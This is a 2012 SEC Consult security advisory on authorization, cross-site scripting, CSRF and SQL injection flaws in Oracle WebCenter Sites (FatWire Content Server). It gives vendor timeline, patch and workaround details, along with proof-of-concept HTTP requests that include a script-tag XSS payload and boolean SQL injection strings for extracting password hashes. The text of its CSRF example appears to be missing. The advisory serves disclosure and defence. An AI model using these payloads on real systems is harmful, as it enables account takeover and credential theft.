SEC Consult Vulnerability Lab Security Advisory < 20121017-2 > ======================================================================= title: Multiple vulnerabilities in Oracle WebCenter Sites product: Oracle WebCenter Sites (former FatWire Content Server) vulnerable version: 6.1, 6.2, 6.3.x, 7, 7.0.1, 7.0.2, 7.0.3, 7.5, 7.6.1, 7.6.2, 11.1.1.6.0 fixed version: Patch information see sections below CVE: CVE-2012-3183 (S0183794) CVE-2012-3184 (S0183815) CVE-2012-3185 (S0183827) CVE-2012-3186 (S0183836) impact: High homepage: http://www.oracle.com/us/corporate/acquisitions/fatwire/index.html found: 21.05.2012 by: F. Lukavsky SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor description: ------------------- FatWire Content Server is a predecessor product of Oracle WebCenter Sites. FatWire Content Server is a software suite that allows you to create and manage content to be published on your online site. The content is stored in Content Server's database. You create and manipulate the content using Content Server's interface, which provides a simple and intuitive way of accessing and working with the CS database. FatWire Content Server 7 - Advanced Interface User's Guide Vulnerability overview/description: ----------------------------------- 1) Authorization Issues The backend of the Content Server fails to validate authorization for certain requests. This allows low privileged users manipulating data, which they are not authorized to. 2) Cross-Site Scripting The backend of the Content Server is prone to permanent and reflected Cross-Site Scripting attacks. The vulnerability can be used to include HTML- or JavaScript code to the affected web page. The code is executed in the browser of users if they visit the manipulated site. The vulnerability can be used to change the contents of the displayed site, redirect to other sites or steal user credentials. Additionally, Portal users are potential victims of browser exploits and JavaScript Trojans. 3) Cross-Site Request Forgery An attacker can use Cross-Site Request Forgery to perform arbitrary web requests with the identity of the victim without being noticed by the victim. Although responses to these requests are not delivered to the attacker, in many cases it is sufficient to be able to compromise the integrity of the victim's information stored on the site or to perform certain, possibly compromising requests to other sites. 4) SQL Injection Due to insufficient input validation, the backend of FatWire Content Server allows the injection of direct SQL commands. By exploiting the vulnerability, an attacker gains access to all records stored in the database with the privileges of database user CSAUTHORING. Proof of concept: ----------------- 1) In the user profile, users are given the possibility to change their email address. By supplying arbitrary user names, a low privileged user can change the email address of other users: POST /cs/ContentServer HTTP/1.1 _charset_=UTF-8&cs_environment=standard&cs_formmode=WCM&username=&email=&selectedLocale=None&userid=userid%3D%2Cou%3DPeople&manageprofile=true&password=&password2=&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfilePost&action=edit 2) The display name of page elements are included unsanitized when viewing the element's details. Creating a new image with the following manipulated parameter demonstrates this issue: -----------------------------6083206021221 Content-Disposition: form-data; name="flexassets:name" xxx.jsp -----------------------------6083206021221 Additionally, users can change their email address in the user profile management. The email address is included unsanitized when viewing a manipulated profile. Furthermore, by combining this issue with the attack described in vulnerability (1), the Cross-Site Scripting payload can be embedded in the user profile of arbitrary users. The following request demonstrates this issue: POST /cs/ContentServer HTTP/1.1 _charset_=UTF-8&cs_environment=standard&cs_formmode=WCM&username=&email=%3Cscript%3Ealert%28document.location%29%3C%2Fscript%3E&selectedLocale=None&userid=userid%3D%2Cou%3DPeople&manageprofile=true&password=&password2=&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfilePost&action=edit Many parameters are included unsanitized in error messages, which leads to reflected Cross-Site Scripting vulnerabilities: http://fatwire/cs/ContentServer?username=&manageprofile=true&action=edit&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfileFront http://fatwire/cs/ContentServer?StartItem=1327334935133">&AssetType=Page&cs_environment=standard&pagename=OpenMarket%2FXcelerate%2FActions%2FNewContentFront&cs_formmode=WCM These examples raise no claims of being complete. 3) A low privileged user can view all available users and their user ids when creating a workflow report. When the target user submits the following form while being logged in, an attacker can change the password of the target user to an arbitrary value:
4) The parameter selectedLocale of the user profile management form is vulnerable to a SQL Injection vulnerability. The following true comparison added to the SQL query results in the locale preference to be set to English (United States): POST /cs/ContentServer HTTP/1.1 _charset_=UTF-8&cs_environment=standard&cs_formmode=WCM&username=user&email=mail@example.com&selectedLocale=None'+or+1%3d1--+&userid=userid% 3D1327334925026%2Cou%3DPeople&manageprofile=true&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfilePost&action=edit The following request with a false comparison being added to the SQL query results in the locale preference to be set to no preference: POST /cs/ContentServer HTTP/1.1 _charset_=UTF-8&cs_environment=standard&cs_formmode=WCM&username=user&email=mail@example.com&selectedLocale=None'+or+1%3d2--+&userid=userid% 3D1327334925026%2Cou%3DPeople&manageprofile=true&pagename=OpenMarket%2FXcelerate%2FAdmin%2FUserProfilePost&action=edit Observing these differences, arbitrary data of the database can be extracted bitwise. This includes for example the password hashes of other Content Server users. Vulnerable / tested versions: ----------------------------- The following installation has been tested: FatWire Content Server 7.6.1 Hotfix 4 The following versions have been supplied by Oracle and are vulnerable too: 6.1, 6.2, 6.3.x, 7, 7.0.1, 7.0.2, 7.0.3, 7.5, 7.6.1, 7.6.2, 11.1.1.6.0 Vendor contact timeline: ------------------------ 2012-06-04: Contacting vendor through secalert_us@oracle.com 2012-06-07: Initial vendor response - issues will be verified 2012-06-21: Under investigation / Being fixed in main codeline 2012-07-24: Issue fixed in main codeline, scheduled for a future CPU 2012-10-15: Oracle: Advisory and patches will be released on 2012-10-16 2012-10-16: Oracle releases October 2012 CPU 2012-10-17: Public release of SEC Consult advisory Solution: --------- Apply latest patches, see: http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html https://support.oracle.com/rs?type=doc&id=1477727.1 Workaround: ----------- Restrict access to the backend of the FatWire Content Server. Do not visit untrusted sites while being logged into the backend of the FatWire Content Server. Keep the time being logged in as short as possible and do not activate the option to stay logged into the backend of the FatWire Content Server. Advisory URL: ------------- https://www.sec-consult.com/en/advisories.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Unternehmensberatung GmbH Office Vienna Mooslackengasse 17 A-1190 Vienna Austria Tel.: +43 / 1 / 890 30 43 - 0 Fax.: +43 / 1 / 890 30 43 - 25 Mail: research at sec-consult dot com https://www.sec-consult.com EOF F. Lukavsky / @2012